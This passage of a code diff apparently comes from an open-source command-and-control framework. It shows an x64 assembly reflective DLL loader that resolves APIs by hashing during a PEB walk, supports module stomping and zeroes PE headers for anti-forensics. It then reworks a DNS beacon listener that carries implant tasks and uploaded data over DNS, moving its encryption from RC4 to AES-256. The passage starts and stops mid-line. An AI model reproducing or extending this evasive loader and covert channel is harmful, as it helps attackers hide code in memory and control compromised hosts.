rcx, [rsp + LOC_SAVE4] ; hModule + call qword [rsp + LOC_GETPROC] + jmp .import_write_iat + +.import_by_ordinal: + movzx edx, ax + mov rcx, [rsp + LOC_SAVE4] + call qword [rsp + LOC_GETPROC] + +.import_write_iat: + mov r9, [rsp + LOC_SAVE3] + mov [r9], rax + + ; Advance INT and IAT pointers + add qword [rsp + LOC_SAVE2], 8 + add qword [rsp + LOC_SAVE3], 8 + jmp .import_thunk + +.import_next_desc: + add qword [rsp + LOC_SAVE1], 20 ; next descriptor + jmp .import_descriptor + +.imports_done: + +; ============================================================================ +; PHASE 12 — Tighten .text to RX only +; +; Only .text is changed: RWX → PAGE_EXECUTE_READ. +; All other sections stay PAGE_EXECUTE_READWRITE so that SsSleepInit +; sees the full image as executable (fullRxSize = entire image) and +; the 64KB-aligned dual-map succeeds. +; _DoRemap later sets proper protections on non-.text regions. +; ============================================================================ + movzx eax, word [rbp + 0x14] + lea r8, [rbp + 0x18] + add r8, rax ; r8 = first section header + movzx ecx, word [rbp + 0x06] ; section count + test ecx, ecx + jz .protect_done + +.protect_scan: + mov eax, dword [r8 + 0x24] ; Characteristics + test eax, IMAGE_SCN_MEM_EXECUTE + jnz .found_text + add r8, 40 + dec ecx + jnz .protect_scan + jmp .protect_done + +.found_text: + ; Tighten this section from RWX → RX + mov eax, dword [r8 + 0x0C] ; VirtualAddress + add rax, [rsp + LOC_IMAGE_BASE] + mov [rsp + LOC_TEMP_ADDR], rax + + mov eax, dword [r8 + 0x08] ; VirtualSize + mov edx, dword [r8 + 0x10] ; SizeOfRawData + cmp eax, edx + cmovb eax, edx ; max(VirtualSize, SizeOfRawData) + test eax, eax + jz .protect_done + mov [rsp + LOC_TEMP_SIZE], rax + + mov rcx, -1 + lea rdx, [rsp + LOC_TEMP_ADDR] + lea r8, [rsp + LOC_TEMP_SIZE] + mov r9d, PAGE_EXECUTE_READ ; RWX → RX + lea rax, [rsp + LOC_OLD_PROT] + mov [rsp + 0x20], rax + call r14 ; NtProtectVirtualMemory + +.protect_done: + +; ============================================================================ +; PHASE 13 — NtClose(hSection) +; Skipped when module stomping succeeded (LOC_SECTION_HDL == 0). +; ============================================================================ + mov rcx, [rsp + LOC_SECTION_HDL] + test rcx, rcx + jz .skip_close + call r15 +.skip_close: + +; ============================================================================ +; PHASE 14 — FlushInstructionCache(-1, base, imageSize) +; ============================================================================ + mov rcx, -1 + mov rdx, [rsp + LOC_IMAGE_BASE] + mov r8, [rsp + LOC_IMAGE_SIZE] + call qword [rsp + LOC_FLUSHIC] + +; ============================================================================ +; PHASE 15 — Zero PE headers (anti-forensics) +; ============================================================================ + push rdi + push rcx + + mov rdi, [rsp + 16 + LOC_IMAGE_BASE] + mov ecx, dword [rbp + 0x54] + xor eax, eax + rep stosb + + pop rcx + pop rdi + +; ============================================================================ +; PHASE 16 — Call DllMain(hinstDLL, DLL_PROCESS_ATTACH, NULL) +; ============================================================================ + mov eax, dword [rbp + 0x28] + test eax, eax + jz _exit + + add rax, [rsp + LOC_IMAGE_BASE] + + mov rcx, [rsp + LOC_IMAGE_BASE] + mov edx, DLL_PROCESS_ATTACH + xor r8, r8 + call rax + + jmp _exit + +; ============================================================================ +; Error paths +; ============================================================================ +_cleanup_section: + mov rcx, [rsp + LOC_SECTION_HDL] + call r15 + +_exit: + add rsp, FRAME_SIZE + pop r15 + pop r14 + pop r13 + pop r12 + pop rbx + pop rbp + pop rdi + pop rsi + ret + +; ============================================================================ +; _djb2a — ASCII DJB2 hash (case-insensitive) +; IN: rcx = null-terminated ASCII string +; OUT: eax = hash +; Clobbers: eax, edx, r8d, rcx +; ============================================================================ +_djb2a: + mov eax, DJB2_SEED +.loop: + movzx edx, byte [rcx] + inc rcx + test edx, edx + jz .done + lea r8d, [edx - 0x41] + cmp r8d, 25 + ja .no_lower + add edx, 0x20 +.no_lower: + imul eax, eax, 33 + add eax, edx + jmp .loop +.done: + ret + +; ============================================================================ +; _djb2w — Wide-char DJB2 hash (case-insensitive) +; IN: rcx = null-terminated WCHAR string +; OUT: eax = hash +; Clobbers: eax, edx, r8d, rcx +; ============================================================================ +_djb2w: + mov eax, DJB2_SEED +.loop: + movzx edx, word [rcx] + add rcx, 2 + test edx, edx + jz .done + lea r8d, [edx - 0x41] + cmp r8d, 25 + ja .no_lower + add edx, 0x20 +.no_lower: + imul eax, eax, 33 + add eax, edx + jmp .loop +.done: + ret + +; ============================================================================ +; _find_module — PEB walk, find DLL by wchar DJB2 hash +; IN: ecx = target hash +; OUT: rax = DLL base (0 if not found) +; Clobbers: rax, rcx, rdx, r8-r11 +; ============================================================================ +_find_module: + mov r10d, ecx + mov rax, [gs:0x60] + mov rax, [rax + 0x18] + mov r9, [rax + 0x20] + lea r11, [rax + 0x20] + +.walk: + cmp r9, r11 + je .not_found + + sub rsp, 0x28 + mov rcx, [r9 + 0x50] + call _djb2w + add rsp, 0x28 + + cmp eax, r10d + jne .next + mov rax, [r9 + 0x20] + ret + +.next: + mov r9, [r9] + jmp .walk + +.not_found: + xor eax, eax + ret + +; ============================================================================ +; _find_export — EAT walk, find export by ASCII DJB2 hash +; IN: rcx = module base, edx = target hash +; OUT: rax = function address (0 if not found) +; Saves/restores rbx, rsi, rdi internally. +; ============================================================================ +_find_export: + test rcx, rcx + jz .fail + + push rbx + push rsi + push rdi + sub rsp, 0x20 + + mov r9, rcx + mov esi, edx + + movsxd rax, dword [rcx + 0x3C] + mov r11d, dword [rcx + rax + 0x88] + test r11d, r11d + jz .fail_pop + add r11, r9 + + mov r10d, dword [r11 + 0x20] + add r10, r9 + mov ebx, dword [r11 + 0x24] + add rbx, r9 + mov eax, dword [r11 + 0x18] + lea rdi, [r10 + rax * 4] + +.search: + cmp r10, rdi + je .fail_pop + + mov ecx, dword [r10] + add rcx, r9 + call _djb2a + cmp eax, esi + je .found + + add r10, 4 + add rbx, 2 + jmp .search + +.found: + movzx edx, word [rbx] + mov eax, dword [r11 + 0x1C] + add rax, r9 + mov eax, dword [rax + rdx * 4] + add rax, r9 + + add rsp, 0x20 + pop rdi + pop rsi + pop rbx + ret + +.fail_pop: + add rsp, 0x20 + pop rdi + pop rsi + pop rbx +.fail: + xor eax, eax + ret + +; ============================================================================ +; Module stomp candidate paths (generated by Go, included at build time) +; ============================================================================ +%ifdef MODULE_STOMP +%include "stomp_paths.inc" +%endif + +; ============================================================================ +; End marker — DLL data starts immediately after this +; ============================================================================ +_stub_end: diff --git a/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs b/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs index b470c6816..27c9bc1fb 100644 --- a/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs +++ b/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs @@ -30,7 +30,7 @@ function ListenerUI(mode_create) spinTTL.setValue(5); let labelEncryptKey = form.create_label("Encryption Key:"); - let textEncryptKey = form.create_textline(ax.random_string(32, "hex")); + let textEncryptKey = form.create_textline(ax.random_string(64, "hex")); textEncryptKey.setEnabled(mode_create); let buttonEncryptKey = form.create_button("Generate"); buttonEncryptKey.setEnabled(mode_create); @@ -50,7 +50,7 @@ function ListenerUI(mode_create) spinBurstJitter.setValue(0); spinBurstJitter.setEnabled(false); - form.connect(buttonEncryptKey, "clicked", function() { textEncryptKey.setText(ax.random_string(32, "hex")); }); + form.connect(buttonEncryptKey, "clicked", function() { textEncryptKey.setText(ax.random_string(64, "hex")); }); form.connect(checkBurstEnabled, "stateChanged", function() { if(spinBurstSleep.getEnabled()) { spinBurstSleep.setEnabled(false); diff --git a/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go b/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go index 76965c7eb..919cc7cab 100644 --- a/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go +++ b/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go @@ -4,7 +4,8 @@ import ( "bytes" "compress/zlib" "context" - "crypto/rc4" + "crypto/aes" + "crypto/cipher" "encoding/base32" "encoding/base64" "encoding/binary" @@ -17,6 +18,7 @@ import ( "regexp" "strconv" "strings" + "sync" "time" "github.com/miekg/dns" @@ -33,8 +35,15 @@ type TransportDNS struct { udpServer *dns.Server tcpServer *dns.Server - - rng *mrand.Rand + //ts Teamserver + + mu sync.Mutex + upFrags map[string]*dnsFragBuf + downFrags map[string]*dnsDownBuf + upDoneCache map[string]*dnsUpDone + localInflights map[string]*localInflight + needsReset map[string]bool + rng *mrand.Rand } type TransportConfig struct { // DNSConfig @@ -68,9 +77,8 @@ func validConfig(config string) error { return errors.New("domain is required") } - keyLen := len(conf.EncryptKey) - if keyLen < 6 || keyLen > 32 { - return errors.New("encrypt_key must be 6-32 characters") + if len(conf.EncryptKey) != 64 { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") } return nil @@ -105,12 +113,15 @@ func (t *TransportDNS) Start(ts Teamserver) error { } }() + go t.cleanupLoop() + time.Sleep(500 * time.Millisecond) return start_error } func (t *TransportDNS) Stop() error { + t.Active = false ctx, cancel := context.WithTimeout(context.Background(), shutdownTimeout) @@ -252,17 +263,27 @@ func (t *TransportDNS) handleHI(req *dnsRequest, w dns.ResponseWriter) { } keyBytes, err := hex.DecodeString(t.Config.EncryptKey) - if err != nil || len(keyBytes) != 16 { + if err != nil || len(keyBytes) != 32 { return } - cipher, err := rc4.NewCipher(keyBytes) + block, err := aes.NewCipher(keyBytes) + if err != nil { + return + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return + } + nonceSize := gcm.NonceSize() + if len(req.data) < nonceSize+gcm.Overhead() { + return + } + nonce, ciphertext := req.data[:nonceSize], req.data[nonceSize:] + fullBeat, err := gcm.Open(nil, nonce, ciphertext, nil) if err != nil { return } - - fullBeat := make([]byte, len(req.data)) - cipher.XORKeyStream(fullBeat, req.data) if len(fullBeat) < 8 { return @@ -279,76 +300,20 @@ func (t *TransportDNS) handleHI(req *dnsRequest, w dns.ResponseWriter) { _ = Ts.TsAgentSetTick(agentId, t.Name) } -const beaconFrameHeaderSize = 9 -const beaconCompressMinSize = 2048 - -func beaconEncodeDownstream(data []byte) []byte { - payload, flags := beaconCompress(data) - nonce := uint32(time.Now().UnixNano()&0xFFFFFFFF) ^ mrand.Uint32() - - frame := make([]byte, beaconFrameHeaderSize+len(payload)) - frame[0] = flags - binary.LittleEndian.PutUint32(frame[1:5], nonce) - binary.LittleEndian.PutUint32(frame[5:9], uint32(len(data))) - copy(frame[beaconFrameHeaderSize:], payload) - return frame -} - -func beaconDecodeUpstream(data []byte) []byte { - if len(data) <= 5 { - return data - } - flags := data[0] - origLen := binary.LittleEndian.Uint32(data[1:5]) - payload := data[5:] - - if (flags & 0x1) != 0 { - if origLen > 0 { - zr, err := zlib.NewReader(bytes.NewReader(payload)) - if err == nil { - decompressed := make([]byte, origLen) - n, errRead := zr.Read(decompressed) - zr.Close() - if errRead == nil || (n > 0 && n == int(origLen)) { - return decompressed[:n] - } - } - } - } else if origLen > 0 && origLen <= uint32(len(payload)) { - return payload[:origLen] - } - return data -} - -func beaconCompress(data []byte) ([]byte, byte) { - if uint32(len(data)) <= beaconCompressMinSize { - return data, 0 - } - var zbuf bytes.Buffer - wz, err := zlib.NewWriterLevel(&zbuf, zlib.BestCompression) - if err != nil { - return data, 0 - } - if _, err := wz.Write(data); err != nil { - wz.Close() - return data, 0 - } - if err := wz.Close(); err != nil { - return data, 0 - } - compressed := zbuf.Bytes() - if len(compressed) > 0 && len(compressed) < len(data) { - return compressed, 1 - } - return data, 0 -} - func (t *TransportDNS) handleHB(req *dnsRequest) (needsReset bool, hasPendingTasks bool) { if req.sid != "" { _ = Ts.TsAgentSetTick(req.sid, t.Name) } - decrypted := rc4Crypt(req.data, t.Config.EncryptKey) + // Check if this SID needs reset + t.mu.Lock() + if t.needsReset[req.sid] { + needsReset = true + delete(t.needsReset, req.sid) + } + t.mu.Unlock() + + decrypted := aes256CTRStream(req.data, t.Config.EncryptKey) var ackOffset, ackTaskNonce uint32 if len(decrypted) >= 4 { @@ -357,12 +322,31 @@ func (t *TransportDNS) handleHB(req *dnsRequest) (needsReset bool, hasPendingTas if len(decrypted) >= 12 { ackTaskNonce = binary.BigEndian.Uint32(decrypted[8:12]) } - if ackOffset > 0 || ackTaskNonce > 0 { - Ts.TsFrameAckDelivery(req.sid, ackOffset, ackTaskNonce) - } - hasPendingTasks = Ts.TsFrameHasPending(req.sid) - return false, hasPendingTasks + t.mu.Lock() + df, hasDf := t.downFrags[req.sid] + if hasDf && df != nil { + df.lastUpdate = time.Now() + if df.total > 0 && ackOffset >= df.total && ackTaskNonce == df.taskNonce { + delete(t.localInflights, req.sid) + delete(t.downFrags, req.sid) + df = nil + hasDf = false + } + } + t.mu.Unlock() + + if !hasDf || df == nil { + taskData, taskNonce := t.fetchOrRetryTasks(req.sid) + if len(taskData) > 0 { + t.mu.Lock() + t.downFrags[req.sid] = newDownBuf(taskData, taskNonce) + t.mu.Unlock() + hasPendingTasks = true + } + } else { + hasPendingTasks = true + } return needsReset, hasPendingTasks } @@ -372,36 +356,42 @@ func (t *TransportDNS) handleGET(req *dnsRequest, w dns.ResponseWriter) []byte { _ = Ts.TsAgentSetTick(req.sid, t.Name) } - decrypted := rc4Crypt(req.data, t.Config.EncryptKey) + decrypted := aes256CTRStream(req.data, t.Config.EncryptKey) var reqOffset uint32 if len(decrypted) >= 4 { reqOffset = binary.BigEndian.Uint32(decrypted[0:4]) } - isTCP := w.RemoteAddr().Network() == "tcp" - - maxChunk := t.Config.PktSize - if !isTCP { - if maxChunk <= 0 || maxChunk > dnsSafeChunkSize { - maxChunk = dnsSafeChunkSize - } - } else { - if maxChunk <= 0 { - maxChunk = defaultChunkSize + t.mu.Lock() + df, exists := t.downFrags[req.sid] + if exists && df != nil { + df.lastUpdate = time.Now() + if reqOffset > 0 && reqOffset <= df.total && reqOffset > df.off { + df.off = reqOffset } } + t.mu.Unlock() + + if df == nil || df.off >= df.total { + if df != nil && df.off >= df.total { + t.mu.Lock() + delete(t.downFrags, req.sid) + t.mu.Unlock() + df = nil + } - total, offset, data, _, isEmpty := Ts.TsFrameGetChunk(req.sid, reqOffset, maxChunk, beaconEncodeDownstream) - if isEmpty || len(data) == 0 { - return nil + taskData, taskNonce := t.fetchOrRetryTasks(req.sid) + if len(taskData) > 0 { + df = newDownBuf(taskData, taskNonce) + t.mu.Lock() + t.downFrags[req.sid] = df + t.mu.Unlock() + } } - frame := make([]byte, 8+len(data)) - binary.BigEndian.PutUint32(frame[0:4], total) - binary.BigEndian.PutUint32(frame[4:8], offset) - copy(frame[8:], data) - return frame + isTCP := w.RemoteAddr().Network() == "tcp" + return t.buildResponseChunk(df, reqOffset, isTCP) } func (t *TransportDNS) handlePUT(req *dnsRequest) putAckInfo { @@ -411,53 +401,203 @@ func (t *TransportDNS) handlePUT(req *dnsRequest) putAckInfo { return ack } - decrypted := rc4Crypt(req.data, t.Config.EncryptKey) + t.mu.Lock() + if t.needsReset[req.sid] { + ack.needsReset = true + delete(t.needsReset, req.sid) + } + t.mu.Unlock() + + decrypted := aes256CTRStream(req.data, t.Config.EncryptKey) + ack = t.handlePutFragment(req.sid, req.seq, decrypted, ack) + + if req.sid != "" { + _ = Ts.TsAgentSetTick(req.sid, t.Name) + } + return ack +} + +func (t *TransportDNS) handlePutFragment(sid string, seq int, data []byte, ack putAckInfo) putAckInfo { + _ = seq - // Parse optional MetaV1 header (may contain downstream delivery ACK) - payload := decrypted - meta, rest, hasMeta := parseMetaV1(decrypted) + if sid == "" { + return ack + } + + if len(data) == 0 || len(data) <= 8 { + _ = Ts.TsAgentProcessData(sid, data) + return ack + } + + var total, offset uint32 + var chunk []byte + + meta, rest, hasMeta := parseMetaV1(data) if hasMeta { if (meta.MetaFlags & 0x1) != 0 { - Ts.TsFrameAckDelivery(req.sid, meta.DownAckOffset, 0) + t.mu.Lock() + df, hasDf := t.downFrags[sid] + var ackTaskNonce uint32 + shouldAck := false + if hasDf && df != nil { + ackTaskNonce = df.taskNonce + if df.total > 0 && meta.DownAckOffset == df.total { + shouldAck = true + } + } + t.mu.Unlock() + + if shouldAck { + t.mu.Lock() + delete(t.localInflights, sid) + if cur, ok := t.downFrags[sid]; ok && cur != nil && cur.taskNonce == ackTaskNonce { + delete(t.downFrags, sid) + } + t.mu.Unlock() + } } - payload = rest + + if len(rest) <= 8 { + _ = Ts.TsAgentProcessData(sid, rest) + return ack + } + total = binary.BigEndian.Uint32(rest[0:4]) + offset = binary.BigEndian.Uint32(rest[4:8]) + chunk = rest[8:] + } else { + total = binary.BigEndian.Uint32(data[0:4]) + offset = binary.BigEndian.Uint32(data[4:8]) + chunk = data[8:] } - // Tiny payload without fragmentation header — pass through directly - if len(payload) <= 8 { - _ = Ts.TsAgentProcessData(req.sid, payload) + if total == 0 || total > maxUploadSize { + _ = Ts.TsAgentProcessData(sid, data) return ack } - // Parse fragment header: [total:4][offset:4][chunk...] - total := binary.BigEndian.Uint32(payload[0:4]) - offset := binary.BigEndian.Uint32(payload[4:8]) - chunk := payload[8:] + // Populate ack info with totals + ack.total = total - if total == 0 { - _ = Ts.TsAgentProcessData(req.sid, payload) + if offset == 0 && total <= uint32(len(chunk)) { + _ = Ts.TsAgentProcessData(sid, decompressUpstream(chunk)) + ack.complete = true + ack.filled = total + ack.lastReceivedOff = 0 + ack.nextExpectedOff = total return ack } - // Delegate to FrameManager (byte-offset mode: totalSize > 0, chunkCount = 0) - complete, nextExpectedOff, filled, _, assembled := Ts.TsFramePut(req.sid, offset, chunk, total, 0) + t.mu.Lock() - if complete && assembled != nil { - decoded := beaconDecodeUpstream(assembled) - _ = Ts.TsAgentProcessData(req.sid, decoded) + if done, exists := t.upDoneCache[sid]; exists && done.total == total { + ack.complete = true + ack.filled = done.total + ack.lastReceivedOff = done.total + ack.nextExpectedOff = done.total + t.mu.Unlock() + return ack } - ack.total = total - ack.complete = complete - ack.nextExpectedOff = nextExpectedOff - ack.filled = filled + fb, ok := t.upFrags[sid] + if !ok || fb.total != total || (offset == 0 && fb.highWater > 0) { + fb = newFragBuf(total) + t.upFrags[sid] = fb + } - if req.sid != "" { - _ = Ts.TsAgentSetTick(req.sid, t.Name) + // Track chunk size for gap detection + chunkLen := uint32(len(chunk)) + if fb.chunkSize == 0 && chunkLen > 0 { + fb.chunkSize = chunkLen + } + + // Check for duplicate or out-of-bounds offset + if offset >= fb.total || fb.seenOffsets[offset] { + // Return current state even for duplicates + ack.lastReceivedOff = fb.lastReceivedOff + ack.nextExpectedOff = t.computeNextExpectedOffset(fb) + ack.filled = fb.filled + t.mu.Unlock() + return ack + } + + end := offset + chunkLen + if end > fb.total { + end = fb.total } + n := end - offset + copy(fb.buf[offset:end], chunk[:n]) + + fb.seenOffsets[offset] = true + fb.filled += n + fb.lastReceivedOff = offset + fb.expectedOff = end + fb.lastUpdate = time.Now() + + if end > fb.highWater { + fb.highWater = end + } + + // Compute next expected offset based on gaps + fb.nextExpectedOff = t.computeNextExpectedOffset(fb) + + // Update ack info + ack.lastReceivedOff = fb.lastReceivedOff + ack.nextExpectedOff = fb.nextExpectedOff + ack.filled = fb.filled + + var completeBuf []byte + if fb.filled >= fb.total { + completeBuf = make([]byte, len(fb.buf)) + copy(completeBuf, fb.buf) + t.upDoneCache[sid] = newUpDone(fb.total) + delete(t.upFrags, sid) + ack.complete = true + } + t.mu.Unlock() + + // Process data outside of lock to avoid blocking other goroutines + if completeBuf != nil { + _ = Ts.TsAgentProcessData(sid, decompressUpstream(completeBuf)) + } + return ack } +/// RESPONSE + +func (t *TransportDNS) buildResponseChunk(df *dnsDownBuf, reqOffset uint32, isTCP bool) []byte { + if df == nil || df.total == 0 { + return nil + } + + if reqOffset >= df.total { + reqOffset = 0 + } + + maxChunk := t.Config.PktSize + if !isTCP { + if maxChunk <= 0 || maxChunk > dnsSafeChunkSize { + maxChunk = dnsSafeChunkSize + } + } else { + if maxChunk <= 0 { + maxChunk = defaultChunkSize + } + } + + remaining := df.total - reqOffset + chunkLen := remaining + if chunkLen > uint32(maxChunk) { + chunkLen = uint32(maxChunk) + } + + frame := make([]byte, 8+chunkLen) + binary.BigEndian.PutUint32(frame[0:4], df.total) + binary.BigEndian.PutUint32(frame[4:8], reqOffset) + copy(frame[8:], df.buf[reqOffset:reqOffset+chunkLen]) + return frame +} + func (t *TransportDNS) buildAckResponse(req *dnsRequest, ttl uint32) dns.RR { switch req.qtype { case dns.TypeA: @@ -486,7 +626,11 @@ func (t *TransportDNS) buildPutAckResponse(req *dnsRequest, ack putAckInfo, ttl if ack.complete { flags |= 0x01 } + if ack.needsReset { + flags |= 0x02 + } ip[0] = flags + // Encode nextExpectedOff as 24-bit big-endian (up to 16MB) ip[1] = byte((ack.nextExpectedOff >> 16) & 0xFF) ip[2] = byte((ack.nextExpectedOff >> 8) & 0xFF) ip[3] = byte(ack.nextExpectedOff & 0xFF) @@ -495,16 +639,22 @@ func (t *TransportDNS) buildPutAckResponse(req *dnsRequest, ack putAckInfo, ttl A: ip, } case dns.TypeAAAA: + // For AAAA, use first 8 bytes for extended info ip := make(net.IP, 16) var flags byte if ack.complete { flags |= 0x01 } + if ack.needsReset { + flags |= 0x02 + } ip[0] = flags + // nextExpectedOff (4 bytes) ip[1] = byte((ack.nextExpectedOff >> 24) & 0xFF) ip[2] = byte((ack.nextExpectedOff >> 16) & 0xFF) ip[3] = byte((ack.nextExpectedOff >> 8) & 0xFF) ip[4] = byte(ack.nextExpectedOff & 0xFF) + // filled (4 bytes) ip[5] = byte((ack.filled >> 24) & 0xFF) ip[6] = byte((ack.filled >> 16) & 0xFF) ip[7] = byte((ack.filled >> 8) & 0xFF) @@ -570,7 +720,7 @@ func (t *TransportDNS) buildDataResponse(req *dnsRequest, frame []byte, ttl uint } } - encrypted := rc4Crypt(frame, t.Config.EncryptKey) + encrypted := aes256CTRStream(frame, t.Config.EncryptKey) b64Str := base64.StdEncoding.EncodeToString(encrypted) var chunks []string @@ -586,18 +736,174 @@ func (t *TransportDNS) buildDataResponse(req *dnsRequest, frame []byte, ttl uint } } +// Task Fetching (unified for GET and HB) +func (t *TransportDNS) fetchOrRetryTasks(sid string) ([]byte, uint32) { + t.mu.Lock() + existingInflight, hasInflight := t.localInflights[sid] + t.mu.Unlock() + + if hasInflight && existingInflight != nil { + existingInflight.attempts++ + return existingInflight.data, existingInflight.nonce + } + + maxDataSize := t.Config.PktSize * 256 + if maxDataSize <= 0 || maxDataSize > maxDownloadSize { + maxDataSize = maxDownloadSize + } + + p, err := Ts.TsAgentGetHostedAll(sid, maxDataSize) + if err != nil || len(p) == 0 { + return nil, 0 + } + + taskNonce := uint32(time.Now().UnixNano()&0xFFFFFFFF) ^ t.rng.Uint32() + origLen := len(p) + payload, flags := compressPayload(p) + taskData := buildTaskFrame(payload, taskNonce, flags, origLen) + + t.mu.Lock() + t.localInflights[sid] = newInflight(taskData, taskNonce) + t.mu.Unlock() + + return taskData, taskNonce +} + +func (t *TransportDNS) ackDelivery(sid string, ackTaskNonce uint32) { + t.mu.Lock() + defer t.mu.Unlock() + + df, hasDf := t.downFrags[sid] + if !hasDf || df == nil { + return + } + + if ackTaskNonce == df.taskNonce { + delete(t.localInflights, sid) + delete(t.downFrags, sid) + } +} + +// computeNextExpectedOffset finds the next missing offset based on chunk size +func (t *TransportDNS) computeNextExpectedOffset(fb *dnsFragBuf) uint32 { + if fb.chunkSize == 0 { + return fb.highWater + } + + // Scan from start to find first gap + for off := uint32(0); off < fb.total; off += fb.chunkSize { + if !fb.seenOffsets[off] { + return off + } + } + return fb.total +} + +/// CLEANUP + +func (t *TransportDNS) cleanupLoop() { + ticker := time.NewTicker(cleanupInterval) + defer ticker.Stop() + + for t.Active { + select { + case <-ticker.C: + t.cleanupStaleEntries() + } + } +} + +func (t *TransportDNS) cleanupStaleEntries() { + now := time.Now() + + t.mu.Lock() + defer t.mu.Unlock() + + // Cleanup stale upload fragments + for sid, fb := range t.upFrags { + if now.Sub(fb.lastUpdate) > staleTimeout { + delete(t.upFrags, sid) + } + } + + // Cleanup stale download buffers + for sid, db := range t.downFrags { + if now.Sub(db.lastUpdate) > downTimeout { + delete(t.downFrags, sid) + } + } + + // Cleanup expired dedup cache + for sid, done := range t.upDoneCache { + if now.Sub(done.doneAt) > dedupTimeout { + delete(t.upDoneCache, sid) + } + } + + // Cleanup stale inflights + for sid, inf := range t.localInflights { + if now.Sub(inf.createdAt) > inflightTimeout || inf.attempts > maxInflightAttempts { + delete(t.localInflights, sid) + } + } +} + /// UTILS +// Constants const ( seqXorMask = 0x39913991 + maxUploadSize = 4 << 20 // 4 MB + maxDownloadSize = 4 << 20 // 4 MB + minCompressSize = 2048 dnsSafeChunkSize = 280 defaultChunkSize = 4096 metaV1Size = 8 frameHeaderSize = 9 // flags:1 + nonce:4 + origLen:4 - shutdownTimeout = 2 * time.Second + staleTimeout = 5 * time.Minute + dedupTimeout = 5 * time.Minute + downTimeout = 10 * time.Minute + inflightTimeout = 5 * time.Minute + maxInflightAttempts = 10 + cleanupInterval = 60 * time.Second + shutdownTimeout = 2 * time.Second ) +// Types +type dnsFragBuf struct { + total uint32 + buf []byte + filled uint32 + highWater uint32 + expectedOff uint32 + lastUpdate time.Time + seenOffsets map[uint32]bool + lastReceivedOff uint32 + nextExpectedOff uint32 + chunkSize uint32 +} + +type dnsDownBuf struct { + total uint32 + off uint32 + buf []byte + taskNonce uint32 + lastUpdate time.Time +} + +type dnsUpDone struct { + total uint32 + doneAt time.Time +} + +type localInflight struct { + data []byte + nonce uint32 + createdAt time.Time + attempts int +} + type metaV1 struct { Version byte MetaFlags byte @@ -615,26 +921,70 @@ type dnsRequest struct { } type putAckInfo struct { + lastReceivedOff uint32 nextExpectedOff uint32 total uint32 filled uint32 + needsReset bool complete bool } -func rc4Crypt(data []byte, keyHex string) []byte { +// Constructors +func newFragBuf(total uint32) *dnsFragBuf { + fb := new(dnsFragBuf) + fb.total = total + fb.buf = make([]byte, total) + fb.lastUpdate = time.Now() + fb.seenOffsets = make(map[uint32]bool) + fb.lastReceivedOff = 0 + fb.nextExpectedOff = 0 + fb.chunkSize = 0 + return fb +} + +func newDownBuf(data []byte, nonce uint32) *dnsDownBuf { + db := new(dnsDownBuf) + db.total = uint32(len(data)) + db.buf = data + db.taskNonce = nonce + db.lastUpdate = time.Now() + return db +} + +func newInflight(data []byte, nonce uint32) *localInflight { + inf := new(localInflight) + inf.data = data + inf.nonce = nonce + inf.createdAt = time.Now() + inf.attempts = 1 + return inf +} + +func newUpDone(total uint32) *dnsUpDone { + ud := new(dnsUpDone) + ud.total = total + ud.doneAt = time.Now() + return ud +} + +// AES-256-CTR stream cipher matching C++ CryptAES256Stream +func aes256CTRStream(data []byte, keyHex string) []byte { if len(data) == 0 { return data } keyBytes, err := hex.DecodeString(keyHex) - if err != nil || len(keyBytes) != 16 { + if err != nil || len(keyBytes) != 32 { return data } - cipher, err := rc4.NewCipher(keyBytes) + block, err := aes.NewCipher(keyBytes) if err != nil { return data } + ctr := make([]byte, aes.BlockSize) + ctr[15] = 1 + stream := cipher.NewCTR(block, ctr) result := make([]byte, len(data)) - cipher.XORKeyStream(result, data) + stream.XORKeyStream(result, data) return result } @@ -649,3 +999,66 @@ func parseMetaV1(data []byte) (metaV1, []byte, bool) { m.DownAckOffset = binary.LittleEndian.Uint32(data[4:8]) return m, data[metaV1Size:], true } + +func compressPayload(data []byte) (payload []byte, flags byte) { + if len(data) <= minCompressSize { + return data, 0 + } + + var zbuf bytes.Buffer + wz, err := zlib.NewWriterLevel(&zbuf, zlib.BestCompression) + if err != nil { + return data, 0 + } + + if _, err := wz.Write(data); err != nil { + wz.Close() + return data, 0 + } + + if err := wz.Close(); err != nil { + return data, 0 + } + + compressed := zbuf.Bytes() + if len(compressed) > 0 && len(compressed) < len(data) { + return compressed, 1 + } + return data, 0 +} + +func decompressUpstream(data []byte) []byte { + if len(data) <= 5 { + return data + } + + flags := data[0] + origLen := binary.LittleEndian.Uint32(data[1:5]) + payload := data[5:] + + if (flags & 0x1) != 0 { + if origLen > 0 && origLen <= maxUploadSize { + zr, err := zlib.NewReader(bytes.NewReader(payload)) + if err == nil { + decompressed := make([]byte, origLen) + n, errRead := zr.Read(decompressed) + zr.Close() + if errRead == nil || (n > 0 && n == int(origLen)) { + return decompressed[:n] + } + } + } + } else if origLen > 0 && origLen <= uint32(len(payload)) { + return payload[:origLen] + } + return data +} + +func buildTaskFrame(payload []byte, nonce uint32, flags byte, origLen int) []byte { + frame := make([]byte, frameHeaderSize+len(payload)) + frame[0] = flags + binary.LittleEndian.PutUint32(frame[1:5], nonce) + binary.LittleEndian.PutUint32(frame[5:9], uint32(origLen)) + copy(frame[frameHeaderSize:], payload) + return frame +} diff --git a/AdaptixServer/extenders/beacon_listener_http/ax_config.axs b/AdaptixServer/extenders/beacon_listener_http/ax_config.axs index d4dcca44c..7dfd53f8f 100644 --- a/AdaptixServer/extenders/beacon_listener_http/ax_config.axs +++ b/AdaptixServer/extenders/beacon_listener_http/ax_config.axs @@ -38,7 +38,7 @@ function ListenerUI(mode_create) let textlineHB = form.create_textline("X-Beacon-Id"); let labelEncryptKey = form.create_label("Encryption key:"); - let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex")); textlineEncryptKey.setEnabled(mode_create) let buttonEncryptKey = form.create_button("Generate"); buttonEncryptKey.setEnabled(mode_create) @@ -56,7 +56,7 @@ function ListenerUI(mode_create) ssl_group.setPanel(panel_group); ssl_group.setChecked(false); - form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); }); + 